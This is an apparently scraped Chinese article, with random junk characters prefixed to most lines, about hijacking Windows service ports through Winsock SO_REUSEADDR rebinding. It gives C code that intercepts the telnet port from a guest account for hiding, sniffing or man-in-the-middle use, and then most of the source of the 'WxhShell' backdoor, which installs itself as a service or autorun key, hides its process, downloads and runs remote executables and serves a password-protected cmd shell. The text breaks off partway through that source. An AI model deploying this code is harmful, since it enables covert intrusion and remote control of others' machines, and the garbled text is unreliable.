在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
u%lUi2P2E s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
p:W{c/tV H>},{ z saddr.sin_family = AF_INET;
!a25cm5ys \XwC |[%P saddr.sin_addr.s_addr = htonl(INADDR_ANY);
!2>@:CKX 5{#s<%b. bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
=iH9=}aBFC [$td:N
* 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
jo3(\Bq 0+u>"7T 这意味着什么?意味着可以进行如下的攻击:
v7Ps-a) R+_!FnOJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
yz,0
S' U H_Xk;fM 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
*Mb'y d/| 'oH3| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
eoXbZ A}}dc:$C 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
6nREuT'k *}T|T%L4) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
5SZa,+] f( Dtv 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3rd8mh&l W;l0GxOxQ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
zR<fz 9gglyoZ% #include
O;i0xWUh #include
W\j)Vg__e #include
TD%L`Gk #include
B?yjU[/R DWORD WINAPI ClientThread(LPVOID lpParam);
l}r 9kS int main()
hg#O_4D {
0S9~db WORD wVersionRequested;
I>##iiKN DWORD ret;
7\[fjCg\w WSADATA wsaData;
3o0ZS^#eB BOOL val;
qozvNJm) SOCKADDR_IN saddr;
y. 1F@w| SOCKADDR_IN scaddr;
2i;ox*SfpU int err;
UO#`Ak SOCKET s;
QleVW SOCKET sc;
,I ][ int caddsize;
>]&Ow9- HANDLE mt;
u~2]$ /U DWORD tid;
:Ocw+X3 wVersionRequested = MAKEWORD( 2, 2 );
mlCg&fnDB err = WSAStartup( wVersionRequested, &wsaData );
1e7I2g if ( err != 0 ) {
bo(w$&
VW printf("error!WSAStartup failed!\n");
BFg&@7.X return -1;
U^BM 5b }
#HW<@E saddr.sin_family = AF_INET;
T,jb%uPcE sHMO9{[7H //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
VumM`SH mQR9Pn}H saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
}S3 oX$ saddr.sin_port = htons(23);
SWY if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n\V7^N {
biBMd(6 printf("error!socket failed!\n");
jwBJG7\ return -1;
1r_V$o$ }
;ISe@yR; val = TRUE;
eO(U):C2 //SO_REUSEADDR选项就是可以实现端口重绑定的
hqlQ-aytS if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
A0U9,M {
^6R(K'E} printf("error!setsockopt failed!\n");
U*E)y7MY return -1;
Jj\lF*B }
awvP;F?q| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
$COjC!M //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
\v5;t9uBZ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
c#"t.j<E} E`V\/`5D if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;,e16^\' & {
esQ$.L ret=GetLastError();
"tl$JbRTY printf("error!bind failed!\n");
Ej
5_d return -1;
iU37LODa2T }
yjMN>L' listen(s,2);
KX7fgC while(1)
,W|-?b? {
AO]cnhC caddsize = sizeof(scaddr);
@2a!T03 //接受连接请求
%2\tly!{ % sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
qk3|fW/- if(sc!=INVALID_SOCKET)
DcdEt=\)h {
r
1jt~0&K mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
A_9J~3 if(mt==NULL)
^3S&LC
1;| {
D>@NYqMF printf("Thread Creat Failed!\n");
5oSp/M break;
FKu8R%9xn% }
ed}#S~4q
}
Y&8,f|{R CloseHandle(mt);
GGr82)E }
2 \}J*0 closesocket(s);
6]d]0TW_ WSACleanup();
qP<D9k> return 0;
m%apGp'=1 }
KR%WBvv DWORD WINAPI ClientThread(LPVOID lpParam)
Qni`k)4 {
zxCx2.7 SOCKET ss = (SOCKET)lpParam;
l
v hJ SOCKET sc;
&KAe+~aPm unsigned char buf[4096];
{,+c SOCKADDR_IN saddr;
Ez0zk9 long num;
M}# DX=NZc DWORD val;
H?8'( DWORD ret;
)7NI5x^$ //如果是隐藏端口应用的话,可以在此处加一些判断
$--+M
D29Q //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
5B4/2q= saddr.sin_family = AF_INET;
h]k$K saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
h_S>Q saddr.sin_port = htons(23);
L YF| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Q= fl!>P {
%dg[ho printf("error!socket failed!\n");
<Nqbp return -1;
{.jW"0U }
Y$\|rD^f val = 100;
matna if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
X(MS!R V {
'!8-/nlv1 ret = GetLastError();
],S {?!'1 return -1;
9jqsEd-SW }
=gM@[2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3N|z^6`# {
?z&%VU" ret = GetLastError();
7[1|(6$ return -1;
_W_< bI34 }
SeDk/}/~e if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
;%^=V# {
z|D*ymz*EY printf("error!socket connect failed!\n");
U4\v~n\ closesocket(sc);
4d4+%5GE closesocket(ss);
]2qKc return -1;
X_hDU~5{wC }
!Kg']4 while(1)
CssE8p>"F {
[i ~qVn2vT //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
,r;xH}tbi //如果是嗅探内容的话,可以再此处进行内容分析和记录
6{HCF-cQd //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
XDPgl=~ num = recv(ss,buf,4096,0);
Wu/#}Bw# if(num>0)
#IM.7`I send(sc,buf,num,0);
&
rab,I" else if(num==0)
1VlU'qY break;
~vt9?(h num = recv(sc,buf,4096,0);
Q]/%Y[%| if(num>0)
n*=#jL send(ss,buf,num,0);
w"s@q$}]8M else if(num==0)
FZj>N( break;
\"nut7";2 }
o?hr>b closesocket(ss);
p ZTrh&I] closesocket(sc);
UWvVYdy7 return 0 ;
]{\ttb%GX }
cS9jGD92 @|DQZt 0~^RHb.NA8 ==========================================================
mQ"uG?NE G#7(6:=;,` 下边附上一个代码,,WXhSHELL
ud$-A 7
s5(eQI ==========================================================
ufL<L;Z\; q -8G #include "stdafx.h"
*??lwvJp
r9})~>
#include <stdio.h>
>- \bLr #include <string.h>
")STB8kQ #include <windows.h>
K8&;B)VT> #include <winsock2.h>
U*$xR<8v #include <winsvc.h>
c:Nm!+5_( #include <urlmon.h>
z m$Sw0#( Wq1 jTIQ #pragma comment (lib, "Ws2_32.lib")
R/ZScOW[ #pragma comment (lib, "urlmon.lib")
2]]v|Z2M4 P$#: $U@ #define MAX_USER 100 // 最大客户端连接数
1d<Uwb> #define BUF_SOCK 200 // sock buffer
*b.
> #define KEY_BUFF 255 // 输入 buffer
nJ2x;';lA bT^dtEr[ #define REBOOT 0 // 重启
WqCC4R,- #define SHUTDOWN 1 // 关机
QH9t |l 0yI1r7yNB+ #define DEF_PORT 5000 // 监听端口
njaMI8|Pa tO3R&"{ #define REG_LEN 16 // 注册表键长度
S-7&$n #define SVC_LEN 80 // NT服务名长度
_Ns EeKU aIV
/ c // 从dll定义API
- |g"q| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
/q]rA typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
f|~ {j(.v typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
LnI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
rQVX^ +SH{`7r // wxhshell配置信息
d}h{#va* struct WSCFG {
dWvVK("Wj int ws_port; // 监听端口
'|zrzU= char ws_passstr[REG_LEN]; // 口令
(O5Yd 6u int ws_autoins; // 安装标记, 1=yes 0=no
*{DTxEy char ws_regname[REG_LEN]; // 注册表键名
W8^m-B& char ws_svcname[REG_LEN]; // 服务名
zl|z4j'Irc char ws_svcdisp[SVC_LEN]; // 服务显示名
yijP char ws_svcdesc[SVC_LEN]; // 服务描述信息
TQF+aP8[L char ws_passmsg[SVC_LEN]; // 密码输入提示信息
GBbnR:hM int ws_downexe; // 下载执行标记, 1=yes 0=no
qJrT char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
c>B1cR
char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:x*)o+ IT_I.5*A2 };
:eVZ5?F ]]O( IC // default Wxhshell configuration
|h\7Q1,1~2 struct WSCFG wscfg={DEF_PORT,
^es]jng` "xuhuanlingzhe",
W-=6:y#A 1,
vt|R)[, "Wxhshell",
g4[VgmhJ "Wxhshell",
!wfW0?eu "WxhShell Service",
<h7cQ "Wrsky Windows CmdShell Service",
,RV
qYh(-| "Please Input Your Password: ",
YB5"i9T2 1,
g"evnp "
http://www.wrsky.com/wxhshell.exe",
-)`_w^Ox "Wxhshell.exe"
lD/9:@q\V };
J+u}uN@ ,twx4r^ // 消息定义模块
esqmj#G char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
@Nek;xJ char *msg_ws_prompt="\n\r? for help\n\r#>";
/*mF:40M; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
hw^&{x char *msg_ws_ext="\n\rExit.";
"<!U char *msg_ws_end="\n\rQuit.";
aixX/se char *msg_ws_boot="\n\rReboot...";
*9aJZWf>V char *msg_ws_poff="\n\rShutdown...";
WEimJrAn char *msg_ws_down="\n\rSave to ";
^Co$X+
qz-QVY, char *msg_ws_err="\n\rErr!";
2X?GEO]/4 char *msg_ws_ok="\n\rOK!";
KUAzJ[> t<!;shH,s char ExeFile[MAX_PATH];
j~Aq-8R= int nUser = 0;
d#g))f; HANDLE handles[MAX_USER];
w7V\_^&Id int OsIsNt;
#X}HF $t{= sS>b}u+v#! SERVICE_STATUS serviceStatus;
P=QxfX0B SERVICE_STATUS_HANDLE hServiceStatusHandle;
9r!8BjA ~zqb{o^pT // 函数声明
/,Xl8<~# int Install(void);
E7:xPNU int Uninstall(void);
=:-fK-d int DownloadFile(char *sURL, SOCKET wsh);
@Jzk2,rI int Boot(int flag);
K3yQ0k
| void HideProc(void);
*;o%*: int GetOsVer(void);
6p9fq3~7Y int Wxhshell(SOCKET wsl);
\#{PV\x:Nn void TalkWithClient(void *cs);
*;Jb= int CmdShell(SOCKET sock);
\CL8~ int StartFromService(void);
ANM#Kx+ int StartWxhshell(LPSTR lpCmdLine);
C$OVN$lL`8 2%W;#oi? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
D0D=;k VOID WINAPI NTServiceHandler( DWORD fdwControl );
BzzC| g4IF~\QRVi // 数据结构和表定义
lB,1dw2(T SERVICE_TABLE_ENTRY DispatchTable[] =
I\~[GsDY {
s^wm2/Yw {wscfg.ws_svcname, NTServiceMain},
bn(N8MFCV {NULL, NULL}
8>&@"j };
m8q4t,<J qO#3{kW // 自我安装
B>,eHXW int Install(void)
cgg6E
O( {
vrnvv?HPrR char svExeFile[MAX_PATH];
u "[f\l HKEY key;
(%my:\>l strcpy(svExeFile,ExeFile);
i9; Kxr@!m" // 如果是win9x系统,修改注册表设为自启动
x'GB#svi if(!OsIsNt) {
`H+"7SO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
yqT !A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
j/ 5 RegCloseKey(key);
+V3mF_s|z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)^>LnQ_u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[jMN*p? RegCloseKey(key);
hsC T:1i return 0;
(Xd8'-G$m }
ujU,O%.n }
Fc~G*Gz~Z| }
_f1o!4ocx else {
QL?_FwZL z
6:Wh // 如果是NT以上系统,安装为系统服务
f9.?+.^_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
hyI7X7Hy if (schSCManager!=0)
,>;21\D
{
aZFpt/.d SC_HANDLE schService = CreateService
IDohv[# (
*WwM"NFHDd schSCManager,
3Z!%td5n wscfg.ws_svcname,
!GcBNQ1p+7 wscfg.ws_svcdisp,
k# [!; < SERVICE_ALL_ACCESS,
<LHhs<M' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
tW\yt~q, SERVICE_AUTO_START,
OW7 SERVICE_ERROR_NORMAL,
YKyno?m svExeFile,
{w@qFE'b NULL,
o`bch?] NULL,
xye-Z\-t NULL,
g6GkA.!X$ NULL,
'!HTE`Aj NULL
po| Ux`u );
` 2lS@ if (schService!=0)
n6/Ous {
(Ou%0
KW CloseServiceHandle(schService);
GAz-yCJp CloseServiceHandle(schSCManager);
l A ^1} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
b9bIvjm_ strcat(svExeFile,wscfg.ws_svcname);
[&)]-2w2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
OUX7
*_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
v=U<exM6% RegCloseKey(key);
02;jeZ#z return 0;
/0s1;? }
a=z] tTs4 }
M(%H CloseServiceHandle(schSCManager);
e &6 %
}
kK6OZhLH }
E/;t6&6 W }NUU return 1;
{{G)Ry*pb }
aJu&h2G 7sot?gF // 自我卸载
TEtmmp0OD int Uninstall(void)
8q2a8I9g {
mQ"~x] HKEY key;
HW@wia kf,
&t if(!OsIsNt) {
Iy<>-e"| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>jm(2P(R
RegDeleteValue(key,wscfg.ws_regname);
8wU$kK RegCloseKey(key);
p.DQ|? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h4Crq Yxa_ RegDeleteValue(key,wscfg.ws_regname);
?uWUs )9 RegCloseKey(key);
,81%8r return 0;
{,>G 1>Yv }
6u[fCGi% }
3I6ocj[, }
}vndt*F
else {
(b&g4$!x&5 =sJ?]U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Aoe\\'O|V if (schSCManager!=0)
8Fn\ycX#"l {
M0V<Ay\%O SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Y|Iq~Qy~ if (schService!=0)
]aX@(3G1s {
$:9t(X)H if(DeleteService(schService)!=0) {
2+1ybOwb CloseServiceHandle(schService);
V9c.(QY|f CloseServiceHandle(schSCManager);
<c+.%ka return 0;
1`cH
E Aa }
2t= =<x CloseServiceHandle(schService);
Ge^`f<f }
ejN/U{)jK' CloseServiceHandle(schSCManager);
u`bD`kfT> }
'eM0i[E+` }
JEUU~L; A5<t> 6Y return 1;
fBS a8D3}` }
a"Qf @]3\*&R} // 从指定url下载文件
XwH>F7HPe int DownloadFile(char *sURL, SOCKET wsh)
dC=[o\ {
t7=D$ua HRESULT hr;
2Tp2{"sB>A char seps[]= "/";
DiJLWXs char *token;
N
J3;[qJ char *file;
VotC YJ char myURL[MAX_PATH];
DiFLat]X char myFILE[MAX_PATH];
9+ 'i(q
z rXx#<7` strcpy(myURL,sURL);
,\4]uZ< token=strtok(myURL,seps);
c_8&4 while(token!=NULL)
<WXVUEea {
x,B] J4 file=token;
.j}]J:{% token=strtok(NULL,seps);
ORM>|& }
7KC>?F HuhQ|~C+~ GetCurrentDirectory(MAX_PATH,myFILE);
VjQ&A#
strcat(myFILE, "\\");
H 0l1=y strcat(myFILE, file);
HNzxFnh send(wsh,myFILE,strlen(myFILE),0);
?f?5Kye send(wsh,"...",3,0);
C'6I< YX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Al>d
21U if(hr==S_OK)
qBEp |V return 0;
Tzq@ic#!B else
+nYFLe return 1;
d$!Q6ux; g=Xf&}&=x }
t"=5MaQk- )+.=z // 系统电源模块
yRXML\Ge int Boot(int flag)
X%Ok "> {
Be6Yh~m HANDLE hToken;
mU5Ox4>&9 TOKEN_PRIVILEGES tkp;
t. P@Ba^ "\4W])30 if(OsIsNt) {
=2\2Sp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+O}Ik.w LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
F!+1w(b: tkp.PrivilegeCount = 1;
n!)$e;l tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
3H2~?CaJ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
S<Dbv? if(flag==REBOOT) {
;V,L_"/X if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
eL3 _Lz return 0;
ON2o^-%= }
H|%J" else {
{npm9w<; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
:=Olp;+_ return 0;
*,\v|]fc }
IO)B3,g }
9q'9i9/3d else {
"U\RN if(flag==REBOOT) {
UtQj<18< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
)/RG-L return 0;
4'QX1p }
uw;Sfx,s else {
VF`!ks if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
fyQOF ItM return 0;
(b25g! }
sN41Bz$q. }
y4-kuMYR B;k'J:-" return 1;
Q'OtXs 80 }
EBy7wU`S $1yy;IyR // win9x进程隐藏模块
G6p gG+w void HideProc(void)
e=i X]%^ {
>wW{$ mnm
ZO} HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
A`7(i'i5] if ( hKernel != NULL )
hRf
l\Q[ {
J[ZHAnmPH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
:nx+(xgw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
L
FWp}#% FreeLibrary(hKernel);
lV\iYX2# }
JduO^Fit gUklP(T=u return;
LG[N\%<!H }
pGs?Y81
[)"\Aq // 获取操作系统版本
}0'LKwIR int GetOsVer(void)
E'x"EN {
M9iX_4 OSVERSIONINFO winfo;
#,#`<h! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
w6BBu0,KC GetVersionEx(&winfo);
D{(}&8a9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
E ;Z(v return 1;
^KhJBM /Z else
Y`g o V return 0;
:\^b6"}8 }
SkjG} 2uj
.* // 客户端句柄模块
HE&)N
clY int Wxhshell(SOCKET wsl)
Fm`*j/rq {
{$8+n:: SOCKET wsh;
~/rD_K struct sockaddr_in client;
Spn[:u @ DWORD myID;
24J c`%7,= +>PsQ^^x while(nUser<MAX_USER)
$hm[x$$ {
QuR}6C int nSize=sizeof(client);
cL9gaD$;) wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
$8\u if(wsh==INVALID_SOCKET) return 1;
"xlR>M6e vl:~&I&y;R handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
9]eG|LFD if(handles[nUser]==0)
m)A:w.o closesocket(wsh);
;@Zuet else
<$s6?6P nUser++;
5]&sXs }
yrxX[Hg?@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Lm[,^k M-@RgWvF return 0;
ZID- ~
6 }
2Q e&FeT A4zI1QF // 关闭 socket
M'%4BOpI6` void CloseIt(SOCKET wsh)
/@\`Ibe {
T=PqA)Ym closesocket(wsh);
"z9C@T nUser--;
DO~
D?/ia ExitThread(0);
'KH+e#?Ar }
4X^$"lM C3'xU` =7 // 客户端请求句柄
9~hW8{# void TalkWithClient(void *cs)
p{,#H/+J {
ny
KfM5s_ Z@s[8wrmPl SOCKET wsh=(SOCKET)cs;
vn}m-U XA* char pwd[SVC_LEN];
Va )W[I char cmd[KEY_BUFF];
%`i*SF(gV char chr[1];
8\s#law int i,j;
p7QZn.,=u /?;'y,(Q while (nUser < MAX_USER) {
fXMY.X>f |OeWM if(wscfg.ws_passstr) {
[q|W*[B:@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
v>keZZOs //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
yksnsHs}d //ZeroMemory(pwd,KEY_BUFF);
D>|`+=1'0" i=0;
)Fx]LeI; while(i<SVC_LEN) {
."wF86jW| !h#ZbErW // 设置超时
T\9[PX< fd_set FdRead;
tK;xW struct timeval TimeOut;
SZH`-xb!+5 FD_ZERO(&FdRead);
/B t!xSI FD_SET(wsh,&FdRead);
26p[x'W TimeOut.tv_sec=8;
@)d_zWE TimeOut.tv_usec=0;
LK DfV int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
.2&L. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
p3vf7 eqn W5Jw^,iPd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
#1-WiweO pwd
=chr[0]; x+cL(R
if(chr[0]==0xd || chr[0]==0xa) { uH*6@aYPo
pwd=0; _0+X32HjJ
break; GST#b6S
} @_kF&~
i++; m ""+$
} uXc;!*
*47/BLys<
// 如果是非法用户,关闭 socket G QYR`;>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [mzed{p]]
} KO" /
z%
bH?1^o
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #
>k|^*\
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X\`']\l
L2>e@p\>
while(1) { 9s<4`oa
Cn/WNCzst&
ZeroMemory(cmd,KEY_BUFF); %T]$kF++&
1
tOslP@
// 自动支持客户端 telnet标准 hEHd$tH06
j=0; PIU@}:}
while(j<KEY_BUFF) { ]A2E2~~G
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ah1
9#0
cmd[j]=chr[0]; t#"0^$l=
if(chr[0]==0xa || chr[0]==0xd) { joI) 6c
cmd[j]=0; <\O+
break; 36Lkcda[
} 1(@$bsgu2
j++; c:m=9>3
} !S=YM<A d
\2kLj2!
// 下载文件 &%rM|
if(strstr(cmd,"http://")) { l Xa/5QKC
send(wsh,msg_ws_down,strlen(msg_ws_down),0); l_}d Q&R
if(DownloadFile(cmd,wsh)) |RL#BKC`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t.8r~2(?
else \96\!7$@O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QdgJNT<=H,
} ;mEn@@{
else { O q$_ q
UF7h{V})
switch(cmd[0]) { f|,Kh1{e
2]vTedSOl
// 帮助 %)7t2D
case '?': { s)- ;74(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wj6u,+
break; Hk*1Wrs*
} bY#BK_8 :
// 安装 Dy.i^`7\
case 'i': { N" L&Z4Z
if(Install()) ?=9'?K/~a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4`i8m
else )I&.6l!#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~)f^y!PMQ
break; +vy fhw4
} FGi7KV=N
// 卸载 U5kKT.M
case 'r': { Rq}lW.<r
if(Uninstall()) {3x>kRaKci
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l
L;5*@
else vu0Ue
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :e7\z
break; o,WjM[e
} C7S\4rDJ
// 显示 wxhshell 所在路径 ,40OCd!
case 'p': { ],SQD3~9
char svExeFile[MAX_PATH]; Ysu\CZGX
strcpy(svExeFile,"\n\r"); '$OUe {j<
strcat(svExeFile,ExeFile); jh oA6I
send(wsh,svExeFile,strlen(svExeFile),0); fz^j3'!\
break; $Wj= V
} }T4|Kyu?
// 重启 }PJsPIa3j
case 'b': { M/6Z,oOU
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6 ]x?2P%
if(Boot(REBOOT)) .yy-jf/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?C[?dg{n
else { ]P3m=/w
closesocket(wsh); 12lX-~[["
ExitThread(0); MoFM'a9
} $ztsb V}
break; v\,N"X(,
} E<\$3G-do
// 关机 bqED5;d'#
case 'd': { i3,.E]/wX@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KZjh<sjX|
if(Boot(SHUTDOWN)) ~bZ=]i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0cycnOd
else { gQr+~O
closesocket(wsh); g$s;;V/8e
ExitThread(0); ZHK>0>;
} ;Xt<\^e
break; %[$HX'Y
} ~gpxK{
// 获取shell Kd-1EU
case 's': { ) bFl-
CmdShell(wsh); rk8pL[|
closesocket(wsh); N;
}$!sNIm
ExitThread(0); ZwDL
break; lfj5?y
} [@Ac#
// 退出 w6s[|i)&
case 'x': { 8vVE
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w1G(s$;C
CloseIt(wsh); 8Nzn%0(Q
break; $Er=i }`
} 'V7LL1K^>
// 离开 w!"L\QT
case 'q': { C{bxPILw
send(wsh,msg_ws_end,strlen(msg_ws_end),0); &DMC\R* j
closesocket(wsh); S=k!8]/d|
WSACleanup(); Y$L`
G
exit(1); +fk*c[FG
break; 7z$Z=cs
} 2{h2]F
} 8b?nr;@
} eJo" Z
{<ShUN
// 提示信息 $YX{gk>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6X@z(EEL
} 'u<e<hU
} G^Gs/-
f
nNCR5&,q
return; zgGysjV
} w80X~
`Xos]L'w
// shell模块句柄 dq '2y
int CmdShell(SOCKET sock) 9}6_B|
{ >B{qPrmI
STARTUPINFO si; ]pvHsiI:
ZeroMemory(&si,sizeof(si)); MZz9R*_VS
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]W?cy
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z}Cjk6z @
PROCESS_INFORMATION ProcessInfo; @4;'>yr(
char cmdline[]="cmd"; lBfthLBa
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5$=[x!x
return 0; tKt}]KHV
} ]00 so`
?V2P]|
// 自身启动模式 Ln#o:" E
int StartFromService(void) 6!]@S|vDX
{ -4x! #|]
typedef struct &`qYe)1Eo
{ <~dfp
DWORD ExitStatus; QG*hQh
DWORD PebBaseAddress;
aA4RC0'
DWORD AffinityMask; lf`ULY4{
DWORD BasePriority; t5E$u(&+'B
ULONG UniqueProcessId; :XY%@n
ULONG InheritedFromUniqueProcessId; wG)e8,#
} PROCESS_BASIC_INFORMATION; a
